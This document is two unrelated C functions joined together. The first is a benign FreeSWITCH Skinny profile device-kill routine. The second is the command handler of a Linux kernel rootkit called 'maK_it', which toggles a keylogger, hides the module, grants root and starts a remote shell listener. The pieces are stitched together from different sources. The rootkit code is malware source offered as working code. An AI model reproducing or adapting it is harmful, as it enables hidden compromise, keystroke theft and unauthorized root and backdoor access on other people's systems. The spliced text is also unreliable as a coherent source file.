static switch_status_t skinny_api_cmd_profile_device_kill(const char *profile_name, const char *device_name, switch_stream_handle_t *stream) { skinny_profile_t *profile; if ((profile = skinny_find_profile(profile_name))) { listener_t *listener = NULL; skinny_profile_find_listener_by_device_name(profile, device_name, &listener); if(listener) { kill_listener(listener, NULL); stream->write_function(stream, "+OK\n"); } else { stream->write_function(stream, "Listener not found!\n"); } } else { stream->write_function(stream, "Profile not found!\n"); } return SWITCH_STATUS_SUCCESS; }
//write to device (take commands) static ssize_t write_dev(struct file *filp, const char *buff, size_t len, loff_t *posPtr){ const char *cmdPtr; const char *cmdEndPtr; int i; char c; cmdPtr = buff; cmdEndPtr = buff + len - 1; i = 0; //This section handles our commands. if(len < MAX_CMD_LENGTH){ memset(commands, 0, sizeof(commands)); while(cmdPtr != cmdEndPtr){ c = *cmdPtr; commands[i] = c; cmdPtr++; i++; } if(debug == 1) printk(KERN_ALERT "maK_it: command: %s \n",commands); if(strcmp(commands, "debug") == 0){ if(debug == 0){ debug = 1;} else{ debug = 0;} } if(strcmp(commands,"keyLogOn") == 0){ keyLogOn = 1; if(debug == 1) printk(KERN_ALERT "maK_it: Key logger on!\n"); } if(strcmp(commands, "keyLogOff") == 0){ keyLogOn = 0; if(debug == 1) printk(KERN_ALERT "maK_it: Key logger off!\n"); } if(strcmp(commands, "modHide") == 0){ hide_module(); if(debug == 1) printk(KERN_ALERT "maK_it: Module Hidden!\n"); } if(strcmp(commands, "modReveal") == 0){ reveal_module(); if(debug == 1) printk(KERN_ALERT "maK_it: Module revealed!\n"); } if(strcmp(commands, "rootMe") == 0){ root_me(); if(debug == 1) printk(KERN_ALERT "maK_it: Given r00t!\n"); } if(strcmp(commands, "shellUp") == 0){ if(shellUp == 0){ start_listener(); shellUp = 1; } if(debug == 1) printk(KERN_ALERT "maK_it: Remote Shell listener started!\n"); } if(strcmp(commands, "shellDown") == 0){ if(shellUp == 1){ kill_listener(); shellUp = 0; } if(debug == 1) printk(KERN_ALERT "maK_it: Remote Shell listener down!\n"); } if(strcmp(commands, "command") == 0) printk(KERN_EMERG "commands: debug, keyLogOn/Off, modHide/Reveal, rootMe, shellUp/Down\n"); } else{ if(debug == 1) printk(KERN_ALERT "maK_it: Command was too long.\n"); } return -EINVAL; }